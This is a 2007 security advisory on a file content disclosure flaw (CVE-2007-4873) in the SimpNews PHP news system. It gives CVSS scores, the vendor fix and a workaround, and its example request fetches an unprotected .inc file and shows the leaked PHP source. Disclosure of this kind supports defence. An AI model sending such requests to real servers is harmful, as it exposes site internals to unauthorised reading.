netVigilance Security Advisory #69
SimpNews version 2.41.03 File Content Disclosure Vulnerability
Description:
SimpNews is a news system written in PHP. Features: Data stored in MySQL, admin
interface, support for multiple languages, support for multiple instances in
one database, own header, multiple layout settings, support for BBCode
andsmilies, you can assin an icon graphic to every news entry, you can attach a
file to news entries, entries can be put in categories, users can subscribe to
get news sent by email, search entries, users can post comments on news
entries, event calendar, newsticker, option to let users propose news entries.
External References:
Mitre CVE: CVE-2007-4873
NVD NIST: CVE-2007-4873
OSVDB: ID requested but no answer received
Summary:
SimpNews is a news system written in PHP.
Security problems in the product can be exploited by attackers to screen the
file content and disclose potentially sensitive information.
Advisory URL:
http://www.netvigilance.com/advisory0069
Release Date:
09/25/2007
CVSS Version 2 Metrics:
Base Metrics:
Exploitability Metrics:
Access Vector:
Network
Access Complexity:
Low
Authentication:
None
Impact Metrics:
Confidentiality Impact:
Partial
Integrity Impact:
None
Availability Impact:
None
Temporal Metrics:
Exploitability:
Functional
Remediation Level:
Official Fix
Report Confidence:
Confirmed
CVSS Version 2 Vectors:
Base Vector:
"AV:N/AC:L/Au:N/C:P/I:N/A:N"
Temporal Vector:
"E:F/RL:OF/RC:C"
CVSS Version 2 Scores:
Base Score:
5
Impact Subscore:
2.9
Exploitability Subscore:
10
Temporal Score:
4.1
SecureScout Testcase ID:
TC 17988
Vulnerable Systems:
SimpNews version 2.41.03
Vulnerability Type:
Program flaws - The product scripts have flaws which allow attackers to screen
the file content with potentially sensitive information.
Vendor:
Bosch IT-Consulting
Vendor Status:
The Vendor has confirmed the problem and has release new version 2.42.01 that
addresses the problem. New version of product was tested and we can confirm
that all vulnerabilities were solved. For more information see vendor
announcement. To download the latest version go to vendors product download
area.
Workaround:
Change files permissions or modify .htaccess file (this will work only for the
apache servers).
Example:
Information Disclosure Vulnerability:
Also available for any *.inc file
REQUEST:
http://[TARGET]/[PRODUCT DIRECTORY]/admin/includes/dbtables.inc
REPLY:
<?php
/***************************************************************************
* (c)2002-2004 Boesch IT-Consulting (info@boesch-it.de)
***************************************************************************/
$dbtables=array(
"announce",
"announce_attachs",
"ansearch",
"cat_adm",
"categories",
"comments",
"data",
"emoticons",
"events",
"events_attachs",
"evsearch",
"failed_logins",
"failed_notify",
"fileextensions",
"files",
"filetypedescription",
"freemailer",
"globalmsg",
"hn6cats",
"icons",
"iplog",
"layout",
"leacher",
"mimetypes",
"misc",
"news_attachs",
"newsletteradmins",
"newsubnotify",
"notifylist",
"poster",
"ratings",
"search",
"session",
"session2",
"settings",
"subscriptions",
"texts",
"tmpdata",
"tmpevents",
"tmpevents_attachs",
"tmpnews_attachs",
"users",
"wap_catlist",
"rss_catlist"
);
?>
Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
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